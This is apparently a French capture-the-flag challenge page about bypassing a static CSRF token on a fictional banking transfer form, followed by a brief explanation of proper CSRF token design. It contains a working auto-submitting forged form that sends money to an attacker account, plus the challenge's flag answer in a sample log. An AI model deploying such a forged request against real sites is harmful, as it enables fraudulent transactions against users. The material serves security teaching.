CSRF Token Bypass

Web
300 pts
Difficile

Énoncé


Une application bancaire possède un formulaire de virement :


<form action="/transfer" method="POST">
  <input name="to" value="IBAN_DEST" />
  <input name="amount" value="1000" />
  <input name="csrf_token" value="static_token_abc123" />
</form>

Un pentesteur découvre que le token CSRF est statique (le même pour tous les utilisateurs). Il peut donc forger une requête depuis un site malveillant :


<form action="https://bank.fr/transfer" method="POST">
  <input name="to" value="ATTACKER_IBAN" />
  <input name="amount" value="5000" />
  <input name="csrf_token" value="static_token_abc123" />
</form>
<script>document.forms[0].submit()</script>

Le serveur accepte la requête. Dans les logs de l'application, vous voyez :

[AUDIT] Transfer OK | user=victim | to=ATTACKER_IBAN | amount=5000 | debug_flag=CSA{csrf_t0k3n_byp4ss}

Soumettez le flag.




Cross-Site Request Forgery (CSRF)


CSRF force un utilisateur authentifié à exécuter des actions non désirées. Le token CSRF doit être :

  • **Unique par session** (jamais statique)
  • **Imprévisible** (généré aléatoirement)
  • **Vérifié côté serveur** à chaque requête
  • Indices (0/2 révélés)

    Soumettre le flag

    Connectez-vous pour sauvegarder votre score.

    CatégorieWeb
    DifficultéDifficile
    Points300 pts